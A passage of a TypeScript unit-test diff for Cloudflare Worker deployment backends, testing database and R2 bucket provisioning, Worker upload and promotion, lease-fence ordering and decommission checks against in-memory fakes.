+  specDigest: deploymentSpecDigest(spec),
+  artifactVersion: 'candidate',
+  releaseSchemaVersion: spec.schemaVersion,
+} as const;
+
+describe('WranglerLoopBackend construction', () => {
+  it('keeps wrapper validation order before adapter construction', () => {
+    const exportStore = {
+      async write() {
+        throw new Error('not called');
+      },
+    };
+    const construct = (overrides: Record<string, unknown>) =>
+      new WranglerLoopBackend({
+        runner: undefined as never,
+        routeApi: routeApi(),
+        exportDirectory: '/tmp/export',
+        exportStore,
+        ...overrides,
+      });
+    expect(() => construct({ exportDirectory: '' })).toThrow(
+      'exportDirectory is required',
+    );
+    expect(() => construct({ exportStore: undefined })).toThrow(
+      'exportStore is required',
+    );
+    expect(() => construct({ routeApi: undefined })).toThrow(
+      'routeApi is required',
+    );
+    expect(() => construct({ maintenanceRequestTimeoutMs: 0 })).toThrow(
+      'maintenance request timeout must be positive',
+    );
+    expect(() => construct({})).toThrow(TypeError);
+  });
+});
+
+describe('PlainWorkerBackend core policy', () => {
+  it('exposes and forwards receipt export only for a capable plain API', async () => {
+    const absentApi = new PlainWorkerProvisioningApiFake();
+    const absent = backend(absentApi);
+    expect('databaseExportReceiptAuthority' in absent).toBe(false);
+    expect('exportDatabaseReceipt' in absent).toBe(false);
+
+    const capableApi = new PlainWorkerProvisioningApiFake();
+    const legacy = vi
+      .spyOn(capableApi, 'exportDatabase')
+      .mockRejectedValue(new Error('legacy export must not run'));
+    let authorityReads = 0;
+    let methodReads = 0;
+    let receiver: unknown;
+    let received: DatabaseExportReceiptIdentity | undefined;
+    Object.defineProperties(capableApi, {
+      databaseExportReceiptAuthority: {
+        configurable: true,
+        get() {
+          authorityReads += 1;
+          return RECEIPT_AUTHORITY;
+        },
+      },
+      exportDatabaseReceipt: {
+        configurable: true,
+        get() {
+          methodReads += 1;
+          return async function (
+            this: unknown,
+            identity: DatabaseExportReceiptIdentity,
+            receiptFence: ExternalMutationFence,
+          ) {
+            receiver = this;
+            received = identity;
+            await receiptFence.assertOwned();
+            return {
+              location: 'memory://receipt',
+              size: 4,
+              sha256: 'a'.repeat(64),
+            };
+          };
+        },
+      },
+    });
+    const capable = backend(capableApi);
+    expect(capable.databaseExportReceiptAuthority).toBe(RECEIPT_AUTHORITY);
+    expect([authorityReads, methodReads]).toEqual([1, 1]);
+    const exportReceipt = capable.exportDatabaseReceipt;
+    if (!exportReceipt) throw new Error('expected receipt export capability');
+    const assertOwned = vi.fn(async () => {});
+    const receiptFence: ExternalMutationFence = {
+      mutationLeaseTtlMs: 15 * 60_000,
+      assertOwned,
+    };
+    await expect(
+      exportReceipt(RECEIPT_IDENTITY, receiptFence),
+    ).resolves.toEqual({
+      databaseId: RECEIPT_IDENTITY.databaseId,
+      location: 'memory://receipt',
+      size: 4,
+      sha256: 'a'.repeat(64),
+    });
+    expect(receiver).toBe(capableApi);
+    expect(received).toEqual(RECEIPT_IDENTITY);
+    expect(assertOwned).toHaveBeenCalledTimes(1);
+    expect(legacy).not.toHaveBeenCalled();
+
+    received = undefined;
+    assertOwned.mockClear();
+    const authorityFailure = await exportReceipt(
+      { ...RECEIPT_IDENTITY, authority: 'memory://other/receipts/v1' },
+      receiptFence,
+    ).catch((error: unknown) => error);
+    expect(authorityFailure).toBeInstanceOf(Error);
+    expect((authorityFailure as Error).message).toBe(
+      'database export receipt authority differs from configured authority',
+    );
+    expect((authorityFailure as Error).cause).toBeUndefined();
+    expect(received).toBeUndefined();
+    expect(assertOwned).not.toHaveBeenCalled();
+
+    const incomplete = new PlainWorkerProvisioningApiFake();
+    Object.defineProperty(incomplete, 'databaseExportReceiptAuthority', {
+      configurable: true,
+      value: RECEIPT_AUTHORITY,
+    });
+    const failure = (() => {
+      try {
+        return backend(incomplete);
+      } catch (error) {
+        return error;
+      }
+    })();
+    expect(failure).toBeInstanceOf(Error);
+    expect((failure as Error).message).toBe(
+      'database export receipt capability is malformed',
+    );
+    expect((failure as Error).cause).toBeUndefined();
+
+    for (const property of [
+      'databaseExportReceiptAuthority',
+      'exportDatabaseReceipt',
+    ] as const) {
+      const throwingApi = new PlainWorkerProvisioningApiFake();
+      if (property === 'exportDatabaseReceipt') {
+        Object.defineProperty(throwingApi, 'databaseExportReceiptAuthority', {
+          configurable: true,
+          value: RECEIPT_AUTHORITY,
+        });
+      }
+      Object.defineProperty(throwingApi, property, {
+        configurable: true,
+        get() {
+          throw new Error(`${property} getter must not escape`);
+        },
+      });
+      const getterFailure = (() => {
+        try {
+          return backend(throwingApi);
+        } catch (error) {
+          return error;
+        }
+      })();
+      expect(getterFailure).toBeInstanceOf(Error);
+      expect((getterFailure as Error).message).toBe(
+        'database export receipt capability is malformed',
+      );
+      expect((getterFailure as Error).cause).toBeUndefined();
+    }
+  });
+
+  it('exposes a truly optional bound decommission attachment scan capability', async () => {
+    const absentApi = new PlainWorkerProvisioningApiFake();
+    const absent = backend(absentApi);
+    expect(absent.advanceDecommissionAttachmentScan).toBeUndefined();
+    expect('advanceDecommissionAttachmentScan' in absent).toBe(false);
+    expect(Object.hasOwn(absent, 'advanceDecommissionAttachmentScan')).toBe(
+      false,
+    );
+
+    const input: DecommissionAttachmentScanInput = {
+      progress: {
+        version: 1,
+        target: { kind: 'd1', databaseId: database.id },
+        evidenceSha256: 'a'.repeat(64),
+        evidenceCount: 1,
+        stage: 'ordinary-script-inventory',
+        scriptIndex: 0,
+      },
+      maxProviderRequests: 12,
+    };
+    const result: DecommissionAttachmentScanResult = { status: 'drift' };
+    let receiver: PlainWorkerProvisioningApiFake | undefined;
+    let received: DecommissionAttachmentScanInput | undefined;
+    const capableApi = Object.assign(new PlainWorkerProvisioningApiFake(), {
+      async advanceDecommissionAttachmentScan(
+        this: PlainWorkerProvisioningApiFake,
+        candidate: DecommissionAttachmentScanInput,
+      ): Promise<DecommissionAttachmentScanResult> {
+        receiver = this;
+        received = candidate;
+        return result;
+      },
+    });
+    const capable = backend(capableApi);
+    expect(typeof capable.advanceDecommissionAttachmentScan).toBe('function');
+    expect('advanceDecommissionAttachmentScan' in capable).toBe(true);
+    expect(Object.hasOwn(capable, 'advanceDecommissionAttachmentScan')).toBe(
+      true,
+    );
+    await expect(
+      capable.advanceDecommissionAttachmentScan?.(input),
+    ).resolves.toBe(result);
+    expect(receiver).toBe(capableApi);
+    expect(received).toBe(input);
+  });
+
+  it('splits database attachment listing from every residual proof without changing legacy order', async () => {
+    type Attachment = Awaited<
+      ReturnType<PlainWorkerProvisioningApi['listWorkerDatabaseAttachments']>
+    >[number];
+    type Assertion =
+      | 'assertDatabaseDeletionResidualsRemoved'
+      | 'assertDatabaseDetached';
+    const tailReads = [
+      'read:deployment',
+      'read:versions',
+      'read:domains',
+      'read:footprint',
+      'read:namespaces',
+    ] as const;
+    const tracked = (attachments: readonly Attachment[] = []) => {
+      const fake = new PlainWorkerProvisioningApiFake();
+      const api: PlainWorkerProvisioningApi = fake;
+      const deploymentStatus = api.deploymentStatus.bind(api);
+      const listVersions = api.listVersions.bind(api);
+      const listCustomDomains = api.listCustomDomains.bind(api);
+      const inspectOrdinaryWorkerFootprint =
+        api.inspectOrdinaryWorkerFootprint.bind(api);
+      const listDurableObjectNamespaces =
+        api.listDurableObjectNamespaces.bind(api);
+      const viewVersion = api.viewVersion.bind(api);
+      vi.spyOn(api, 'listWorkerDatabaseAttachments').mockImplementation(
+        async () => {
+          fake.events.push('read:attachments');
+          return attachments;
+        },
+      );
+      vi.spyOn(api, 'deploymentStatus').mockImplementation(
+        async (scriptName) => {
+          fake.events.push('read:deployment');
+          return deploymentStatus(scriptName);
+        },
+      );
+      vi.spyOn(api, 'listVersions').mockImplementation(async (scriptName) => {
+        fake.events.push('read:versions');
+        return listVersions(scriptName);
+      });
+      vi.spyOn(api, 'listCustomDomains').mockImplementation(async () => {
+        fake.events.push('read:domains');
+        return listCustomDomains();
+      });
+      vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockImplementation(
+        async (scriptName) => {
+          fake.events.push('read:footprint');
+          return inspectOrdinaryWorkerFootprint(scriptName);
+        },
+      );
+      vi.spyOn(api, 'listDurableObjectNamespaces').mockImplementation(
+        async (scriptName) => {
+          fake.events.push('read:namespaces');
+          return listDurableObjectNamespaces(scriptName);
+        },
+      );
+      vi.spyOn(api, 'viewVersion').mockImplementation(
+        async (scriptName, versionId) => {
+          fake.events.push('read:version');
+          return viewVersion(scriptName, versionId);
+        },
+      );
+      return { api: fake, fence: fake.fence(), subject: backend(fake) };
+    };
+    const assertDatabase = (
+      assertion: Assertion,
+      subject: PlainWorkerBackend,
+      fence: ReturnType<PlainWorkerProvisioningApiFake['fence']>,
+      record = fleetRecord(),
+    ) => subject[assertion](spec, record, database, fence);
+    const rejectionFrom = async (operation: Promise<unknown>) => {
+      try {
+        await operation;
+      } catch (error) {
+        return error;
+      }
+      throw new Error('expected database residual assertion to reject');
+    };
+
+    for (const assertion of [
+      'assertDatabaseDeletionResidualsRemoved',
+      'assertDatabaseDetached',
+    ] as const) {
+      const mismatch = tracked();
+      const mismatchRefusal = await rejectionFrom(
+        assertDatabase(assertion, mismatch.subject, mismatch.fence, {
+          ...fleetRecord(),
+          databaseName: 'foreign-database',
+        }),
+      );
+      expect(mismatchRefusal).toBeInstanceOf(Error);
+      expect((mismatchRefusal as Error).message).toBe(
+        `refusing to attest database detachment for mismatched fleet record '${spec.tenantTag}:${spec.environment}'`,
+      );
+      expect(mismatch.api.events).toEqual(['assertOwned']);
+
+      const success = tracked();
+      await expect(
+        assertDatabase(assertion, success.subject, success.fence),
+      ).resolves.toBeUndefined();
+      expect(success.api.events).toEqual([
+        'assertOwned',
+        ...(assertion === 'assertDatabaseDetached' ? ['read:attachments'] : []),
+        ...tailReads,
+        'assertOwned',
+      ]);
+    }
+
+    const attached = tracked([
+      { plane: 'ordinary', scriptName: 'foreign-worker' },
+    ]);
+    const attachmentRefusal = await rejectionFrom(
+      assertDatabase(
+        'assertDatabaseDetached',
+        attached.subject,
+        attached.fence,
+      ),
+    );
+    expect(attachmentRefusal).toBeInstanceOf(Error);
+    expect((attachmentRefusal as Error).message).toBe(
+      `database '${database.id}' remains attached to ordinary Worker 'foreign-worker'`,
+    );
+    expect(attached.api.events).toEqual(['assertOwned', 'read:attachments']);
+
+    const residuals = [
+      {
+        label: 'deployment',
+        configure(api: PlainWorkerProvisioningApiFake) {
+          api.deployments.set(spec.scriptName, {
+            versions: [{ versionId: 'candidate', percentage: 100 }],
+          });
+        },
+        message: `database '${database.id}' has a foreign or mismatched Worker footprint`,
+      },
+      {
+        label: 'version',
+        configure(api: PlainWorkerProvisioningApiFake) {
+          api.versions.set(spec.scriptName, [ownedVersion('candidate')]);
+        },
+        message: `database '${database.id}' remains attached to owned Worker '${spec.scriptName}'`,
+      },
+      {
+        label: 'route',
+        configure(api: PlainWorkerProvisioningApiFake) {
+          api.domains.push({
+            id: 'residual-domain',
+            hostname: spec.routeHostname,
+            service: 'foreign-worker',
+          });
+        },
+        message: `database '${database.id}' has a residual route or Durable Object namespace footprint`,
+      },
+      {
+        label: 'footprint',
+        configure(api: PlainWorkerProvisioningApiFake) {
+          api.footprints.set(spec.scriptName, {
+            scriptPresent: true,
+            customDomains: [],
+            zoneRoutes: [],
+          });
+        },
+        message: `database '${database.id}' has an ordinary Worker footprint that the provider cannot attest`,
+      },
+      {
+        label: 'Durable Object namespace',
+        configure(api: PlainWorkerProvisioningApiFake) {
+          api.namespaces.set(spec.scriptName, ['residual-namespace']);
+        },
+        message: `database '${database.id}' has a residual route or Durable Object namespace footprint`,
+      },
+    ] as const;
+    for (const residual of residuals) {
+      for (const assertion of [
+        'assertDatabaseDeletionResidualsRemoved',
+        'assertDatabaseDetached',
+      ] as const) {
+        const scenario = tracked();
+        residual.configure(scenario.api);
+        const refusal = await rejectionFrom(
+          assertDatabase(assertion, scenario.subject, scenario.fence),
+        );
+        expect(refusal, `${assertion}: ${residual.label}`).toBeInstanceOf(
+          Error,
+        );
+        expect(
+          (refusal as Error).message,
+          `${assertion}: ${residual.label}`,
+        ).toBe(residual.message);
+        expect(
+          scenario.api.events.filter((event) => event === 'assertOwned'),
+          `${assertion}: ${residual.label}`,
+        ).toHaveLength(1);
+        expect(
+          scenario.api.events.filter((event) => event === 'read:attachments'),
+        ).toHaveLength(assertion === 'assertDatabaseDetached' ? 1 : 0);
+      }
+    }
+  });
+
+  it.each([
+    ['empty', ''],
+    ['space', 'contains space'],
+    ['newline', 'contains\nnewline'],
+    ['non-printable', '\u007f'],
+    ['too long', 'x'.repeat(129)],
+    ['non-string', 42 as unknown as string],
+  ])('rejects a %s identity caller', (_label, identityCaller) => {
+    expect(
+      () =>
+        new PlainWorkerBackend({
+          api: new PlainWorkerProvisioningApiFake(),
+          identityCaller,
+        }),
+    ).toThrow(
+      'plain Worker backend identityCaller must be a 1-128 character single-line token',
+    );
+  });
+
+  it('accepts the identity caller boundary lengths', () => {
+    expect(
+      new PlainWorkerBackend({
+        api: new PlainWorkerProvisioningApiFake(),
+        identityCaller: 'x',
+      }),
+    ).toBeInstanceOf(PlainWorkerBackend);
+    expect(
+      new PlainWorkerBackend({
+        api: new PlainWorkerProvisioningApiFake(),
+        identityCaller: 'x'.repeat(128),
+      }),
+    ).toBeInstanceOf(PlainWorkerBackend);
+  });
+
+  it('reconciles a failed database creation by provider name', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const providerError = new Error('create response lost');
+    api.databases.set(database.id, { ...database, created: false });
+    api.createDatabaseOutcome = { status: 'failed', error: providerError };
+
+    await expect(
+      backend(api).ensureDatabase(spec, mutationFence()),
+    ).resolves.toEqual({ ...database, created: true });
+    expect(api.queries).toHaveLength(1);
+  });
+
+  it('passes the deployment database name to inventory listing', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.databases.set(database.id, { ...database, created: false });
+
+    await expect(backend(api).findDatabase(spec)).resolves.toEqual({
+      ...database,
+      created: false,
+    });
+    expect(api.listDatabaseFilters).toEqual([{ name: spec.databaseName }]);
+  });
+
+  it('refuses duplicate exact database names', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.databases.set('database-1', {
+      id: 'database-1',
+      name: spec.databaseName,
+      created: false,
+    });
+    api.databases.set('database-2', {
+      id: 'database-2',
+      name: spec.databaseName,
+      created: false,
+    });
+
+    await expect(backend(api).findDatabase(spec)).rejects.toThrow(
+      `multiple D1 databases are named '${spec.databaseName}'`,
+    );
+  });
+
+  it('refuses a matching database row whose uuid is empty', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.databases.set('', {
+      id: '',
+      name: spec.databaseName,
+      created: false,
+    });
+
+    await expect(backend(api).findDatabase(spec)).rejects.toThrow(
+      'D1 list result has no uuid',
+    );
+  });
+
+  it.each([
+    undefined,
+    '',
+  ])('refuses a D1 row without a usable name: %s', async (name) => {
+    const api = new PlainWorkerProvisioningApiFake();
+    vi.spyOn(api, 'listDatabases').mockResolvedValue([
+      { databaseId: 'database', name },
+    ]);
+    await expect(backend(api).findDatabase(spec)).rejects.toThrow(/D1.*name/);
+  });
+
+  it('selects an exact database name from search-like inventory', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.databases.set('database-1', {
+      id: 'database-1',
+      name: spec.databaseName,
+      created: false,
+    });
+    api.databases.set('database-2', {
+      id: 'database-2',
+      name: `${spec.databaseName}-canary`,
+      created: false,
+    });
+
+    await expect(backend(api).findDatabase(spec)).resolves.toEqual({
+      id: 'database-1',
+      name: spec.databaseName,
+      created: false,
+    });
+  });
+
+  it('rediscovers a tagged upload after a succeeded outcome without reading its footprint', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    installOnUpload(api);
+    const inspectFootprint = vi.spyOn(api, 'inspectOrdinaryWorkerFootprint');
+
+    await expect(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).resolves.toEqual({ artifactVersion: 'candidate', created: true });
+    expect(inspectFootprint).not.toHaveBeenCalled();
+  });
+
+  it('accepts a failed upload rediscovered by tag when public access matches', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.uploadOutcome = { status: 'failed', error: new Error('lost') };
+    api.footprints.set(spec.scriptName, {
+      scriptPresent: true,
+      workersDevEnabled: true,
+      previewUrlsEnabled: false,
+      customDomains: [],
+      zoneRoutes: [],
+    });
+    installOnUpload(api);
+
+    await expect(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).resolves.toEqual({ artifactVersion: 'candidate', created: true });
+  });
+
+  it('refuses a failed upload rediscovered by tag when public access differs', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.versions.set(spec.scriptName, [ownedVersion('current')]);
+    api.deployments.set(spec.scriptName, {
+      versions: [{ versionId: 'current', percentage: 100 }],
+    });
+    api.uploadOutcome = { status: 'failed', error: new Error('lost') };
+    api.footprints.set(spec.scriptName, {
+      scriptPresent: true,
+      workersDevEnabled: false,
+      previewUrlsEnabled: false,
+      customDomains: [],
+      zoneRoutes: [],
+    });
+    installOnUpload(api);
+
+    await expect(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).rejects.toThrow(
+      `reconciled Worker upload for '${spec.scriptName}' did not converge public access`,
+    );
+    expect(api.events).not.toContain('mutation:createDeployment');
+  });
+
+  it('uses rediscovery failure for a falsy dispatched upload rejection', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    api.uploadOutcome = { status: 'failed', error: undefined };
+    const error = await rejectedValue(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    );
+    expect(error).toBeInstanceOf(WorkerDeploymentError);
+    expect((error as WorkerDeploymentError).cause).toMatchObject({
+      message: expect.stringContaining(
+        'did not create exactly one new tagged Worker version',
+      ),
+    });
+  });
+
+  it('propagates pre-dispatch lease rejection without rollback', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const denied = new Error('lease lost');
+    await expect(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(vi.fn(async () => Promise.reject(denied))),
+      ),
+    ).rejects.toBe(denied);
+    expect(api.events).toEqual(['port-assert']);
+  });
+
+  it.each(
+    (['initial', 'staged'] as const).flatMap((mode) =>
+      [
+        {
+          label: 'neither limit',
+          specLimits: {},
+          intentLimits: { cpuMs: undefined },
+        },
+        {
+          label: 'CPU only',
+          specLimits: { cpuLimitMs: 30_000 },
+          intentLimits: { cpuMs: 30_000 },
+        },
+        {
+          label: 'subrequests only',
+          specLimits: { subrequestLimit: 500 },
+          intentLimits: { cpuMs: undefined, subrequests: 500 },
+        },
+        {
+          label: 'both limits',
+          specLimits: { cpuLimitMs: 30_000, subrequestLimit: 500 },
+          intentLimits: { cpuMs: 30_000, subrequests: 500 },
+        },
+      ].map((limits) => ({ mode, ...limits })),
+    ),
+  )('forwards $label to the shared $mode upload intent', async ({
+    mode,
+    specLimits,
+    intentLimits,
+  }) => {
+    const deployment = { ...spec, ...specLimits } satisfies DeploymentSpec;
+    const api = new PlainWorkerProvisioningApiFake();
+    if (mode === 'staged') {
+      api.versions.set(deployment.scriptName, [
+        ownedVersion('current', deployment),
+      ]);
+      api.deployments.set(deployment.scriptName, {
+        versions: [{ versionId: 'current', percentage: 100 }],
+      });
+    }
+    installOnUpload(api, deployment);
+    const upload = vi.spyOn(api, 'uploadCandidate');
+
+    await expect(
+      backend(api).deployWorker(
+        deployment,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).resolves.toEqual({
+      artifactVersion: 'candidate',
+      created: mode === 'initial',
+    });
+    expect(upload).toHaveBeenCalledOnce();
+    expect(upload.mock.calls[0]?.[0].mode).toBe(mode);
+    expect(upload.mock.calls[0]?.[0].limits).toStrictEqual(intentLimits);
+  });
+
+  it('separates initial and staged upload intents and refuses staged migrations', async () => {
+    const initialApi = new PlainWorkerProvisioningApiFake();
+    let initialIntent: PlainWorkerUploadIntent | undefined;
+    initialApi.onUploadCandidate = (intent) => {
+      initialIntent = intent;
+      initialApi.versions.set(spec.scriptName, [ownedVersion('candidate')]);
+      initialApi.deployments.set(spec.scriptName, {
+        versions: [{ versionId: 'candidate', percentage: 100 }],
+      });
+    };
+    await backend(initialApi).deployWorker(
+      spec,
+      database,
+      secrets,
+      undefined,
+      mutationFence(),
+    );
+    expect(initialIntent).toMatchObject({
+      mode: 'initial',
+      durableObjectMigrations: [],
+    });
+
+    const stagedApi = new PlainWorkerProvisioningApiFake();
+    stagedApi.versions.set(spec.scriptName, [ownedVersion('current')]);
+    stagedApi.deployments.set(spec.scriptName, {
+      versions: [{ versionId: 'current', percentage: 100 }],
+    });
+    let stagedIntent: PlainWorkerUploadIntent | undefined;
+    stagedApi.onUploadCandidate = (intent) => {
+      stagedIntent = intent;
+      stagedApi.versions.set(spec.scriptName, [
+        ownedVersion('current'),
+        ownedVersion('candidate'),
+      ]);
+    };
+    await backend(stagedApi).deployWorker(
+      spec,
+      database,
+      secrets,
+      undefined,
+      mutationFence(),
+    );
+    expect(stagedIntent).toEqual(
+      expect.not.objectContaining({
+        durableObjectMigrations: expect.anything(),
+      }),
+    );
+    expect(stagedIntent).toMatchObject({ mode: 'staged' });
+
+    const migrating = {
+      ...spec,
+      durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['State'] }],
+      durableObjectBindings: [{ name: 'STATE', className: 'State' }],
+    } satisfies DeploymentSpec;
+    const migratingApi = new PlainWorkerProvisioningApiFake();
+    migratingApi.versions.set(migrating.scriptName, [
+      ownedVersion('current', migrating),
+    ]);
+    migratingApi.deployments.set(migrating.scriptName, {
+      versions: [{ versionId: 'current', percentage: 100 }],
+    });
+    await expect(
+      backend(migratingApi).deployWorker(
+        migrating,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    ).rejects.toThrow('pending Durable Object lifecycle migration');
+  });
+
+  it('guards promotion and confirms the attached custom domain', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    deployedCandidate(api);
+    await backend(api).promoteWorker(
+      spec,
+      { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: true },
+      undefined,
+      mutationFence(),
+      'candidate',
+    );
+    expect(api.domains).toEqual([
+      {
+        id: 'domain-app.example.test',
+        hostname: spec.routeHostname,
+        service: spec.scriptName,
+      },
+    ]);
+  });
+
+  it('checks maintenance digest through injected fetch', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    deployedCandidate(api);
+    const request = vi.fn(async () => maintenanceResponse());
+    await expect(
+      backend(api, { fetch: request }).ensureMaintenance(
+        spec,
+        secrets.maintenanceAdmin,
+        mutationFence(),
+        'candidate',
+      ),
+    ).resolves.toMatchObject({
+      armed: true,
+      deploymentSpecDigest: deploymentSpecDigest(spec),
+    });
+  });
+
+  it('attests only a SHA-256 active route and stamps the injected clock', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const clock = () => Date.parse('2026-08-26T04:00:00.000Z');
+    await expect(
+      backend(api, { clock }).attestActiveRoute(spec),
+    ).rejects.toBeInstanceOf(ActiveRouteAttestationError);
+    api.activeRoute = {
+      artifactVersion: 'candidate',
+      specDigest: 'not-a-digest',
+    };
+    await expect(
+      backend(api, { clock }).attestActiveRoute(spec),
+    ).rejects.toBeInstanceOf(ActiveRouteAttestationError);
+    api.activeRoute = {
+      artifactVersion: 'candidate',
+      specDigest: deploymentSpecDigest(spec),
+    };
+    await expect(
+      backend(api, { clock }).attestActiveRoute(spec),
+    ).resolves.toEqual({
+      specDigest: deploymentSpecDigest(spec),
+      artifactVersion: 'candidate',
+      physicalScriptName: spec.scriptName,
+      source: 'workers-deployments',
+      observedAt: '2026-08-26T04:00:00.000Z',
+    });
+  });
+
+  it.each([
+    ['new Worker', false, false, true],
+    ['version-only Worker', false, true, false],
+    ['deployed Worker', true, true, false],
+  ])('classifies post-success cleanup for a %s', async (_label, deployed, versionPresent, createdByAttempt) => {
+    const api = new PlainWorkerProvisioningApiFake();
+    if (versionPresent) {
+      api.versions.set(spec.scriptName, [ownedVersion('current')]);
+    }
+    if (deployed) {
+      api.deployments.set(spec.scriptName, {
+        versions: [{ versionId: 'current', percentage: 100 }],
+      });
+    }
+    installOnUpload(api);
+    const cleanupError = new Error('scratch cleanup failed');
+    api.uploadCleanup = { status: 'failed', error: cleanupError };
+
+    const error = await rejectedValue(
+      backend(api).deployWorker(
+        spec,
+        database,
+        secrets,
+        undefined,
+        mutationFence(),
+      ),
+    );
+    expect(error).toBeInstanceOf(WorkerDeploymentError);
+    expect(error).toMatchObject({
+      message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch: scratch cleanup failed`,
+      createdByAttempt,
+      resourceState: 'present',
+    });
+    expect((error as WorkerDeploymentError).cause).toBe(cleanupError);
+  });
+
+  it('uses neutral mutation-duration diagnostics', async () => {
+    const zeroApi = new PlainWorkerProvisioningApiFake('per-request', 0);
+    await expect(
+      backend(zeroApi).ensureDatabase(spec, mutationFence()),
+    ).rejects.toThrow('provider mutation maximum duration must be positive');
+    const longApi = new PlainWorkerProvisioningApiFake(
+      'per-request',
+      15 * 60_000,
+    );
+    await expect(
+      backend(longApi).ensureDatabase(spec, mutationFence()),
+    ).rejects.toThrow(
+      'provider mutation maximum duration must be below the external mutation fence lease TTL',
+    );
+  });
+
+  it('refuses an R2 create before provider dispatch when the lease is already lost', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const readback = vi.spyOn(api, 'getR2Bucket');
+    const denied = new Error('lease lost');
+
+    await expect(
+      backend(api).ensureApplicationR2Bucket(
+        r2Resource,
+        mutationFence(vi.fn(async () => Promise.reject(denied))),
+      ),
+    ).rejects.toBe(denied);
+    expect(readback).not.toHaveBeenCalled();
+    expect(api.events).not.toContain('mutation:createR2Bucket');
+  });
+
+  it('refuses R2 readback when the lease is lost during provider creation', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const readback = vi.spyOn(api, 'getR2Bucket');
+    const create = vi
+      .spyOn(api, 'createR2Bucket')
+      .mockRejectedValue(new Error('create response lost'));
+    const denied = new Error('lease lost');
+    const assertOwned = vi
+      .fn<() => Promise<void>>()
+      .mockResolvedValueOnce()
+      .mockRejectedValue(denied);
+
+    await expect(
+      backend(api).ensureApplicationR2Bucket(
+        r2Resource,
+        mutationFence(assertOwned),
+      ),
+    ).rejects.toBe(denied);
+    expect(readback).not.toHaveBeenCalled();
+    expect(create).toHaveBeenCalledOnce();
+  });
+
+  it('reconciles a duplicate R2 create while the lease remains healthy', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    const creationDate = '2026-08-26T00:00:00.000Z';
+    api.createR2Bucket = vi.fn(async (resource) => {
+      api.buckets.set(resource.bucketName, { ...resource, creationDate });
+      throw Object.assign(new Error('duplicate'), { status: 409 });
+    });
+
+    await expect(
+      backend(api).ensureApplicationR2Bucket(r2Resource, mutationFence()),
+    ).resolves.toEqual({ ...r2Resource, creationDate });
+  });
+});
+
+const fenceModes = ['entry', 'per-request'] satisfies FenceAssertionMode[];
+
+function portMutation(name: string): readonly string[] {
+  return ['port-assert', `mutation:${name}`];
+}
+
+function carriedMutation(
+  mode: FenceAssertionMode,
+  name: string,
+): readonly string[] {
+  return [...(mode === 'entry' ? ['port-assert'] : []), ...portMutation(name)];
+}
+
+const carrierScenarios = fenceModes.flatMap((mode) => [
+  { mode, scenario: 'deleteDatabase' as const },
+  { mode, scenario: 'force delete-database' as const },
+  { mode, scenario: 'applyMigrations' as const },
+]);
+
+describe('PlainWorkerBackend mutation-fence carrier ordering', () => {
+  it.each([
+    {},
+    { workersDevEnabled: false },
+    { previewUrlsEnabled: false },
+  ])('refuses unknown present-Worker public access in normal and force proofs %#', async (flags) => {
+    const api = new PlainWorkerProvisioningApiFake();
+    vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockResolvedValue({
+      scriptPresent: true,
+      customDomains: [],
+      zoneRoutes: [],
+      ...flags,
+    });
+    vi.spyOn(api, 'disableOrdinaryWorkerPublicAccess').mockResolvedValue(
+      undefined,
+    );
+    await expect(backend(api).assertTrafficRemoved(spec)).rejects.toThrow(
+      'public-access footprint is incomplete',
+    );
+    await expect(
+      backend(api).forceDecommissionStep(
+        fleetRecord(),
+        'remove-traffic',
+        api.fence(),
+      ),
+    ).rejects.toThrow('public-access footprint is incomplete');
+  });
+
+  it('accepts an absent Worker without subdomain flags in ingress proofs', async () => {
+    const api = new PlainWorkerProvisioningApiFake();
+    vi.spyOn(api, 'inspectOrdinaryWorkerFootprint').mockResolvedValue({
+      scriptPresent: false,
+      customDomains: [],
+      zoneRoutes: [],
+    });
+    await expect(
+      backend(api).assertTrafficRemoved(spec),
+    ).resolves.toBeUndefined();
+    await expect(
+      backend(api).forceDecommissionStep(
+        fleetRecord(),
+        'remove-traffic',
+        api.fence(),
+      ),
+    ).resolves.toBeUndefined();
+  });
+
+  it.each(
+    carrierScenarios,
+  )('$scenario records exact ordering in $mode mode', async ({
+    mode,
+    scenario,
+  }) => {
+    const api = new PlainWorkerProvisioningApiFake(mode);
+    const ownedFence = api.fence();
+
+    if (scenario === 'deleteDatabase') {
+      api.databases.set(database.id, database);
+      await backend(api).deleteDatabase(database, ownedFence);
+      expect(api.events).toEqual(carriedMutation(mode, 'deleteDatabaseFenced'));
+      return;
+    }
+
+    if (scenario === 'force delete-database') {
+      api.databases.set(database.id, database);
+      await backend(api).forceDecommissionStep(
+        fleetRecord(),
+        'delete-database',
+        ownedFence,
+      );
+      expect(api.events).toEqual(carriedMutation(mode, 'deleteDatabaseFenced'));
+      return;
+    }
+
+    if (scenario === 'applyMigrations') {
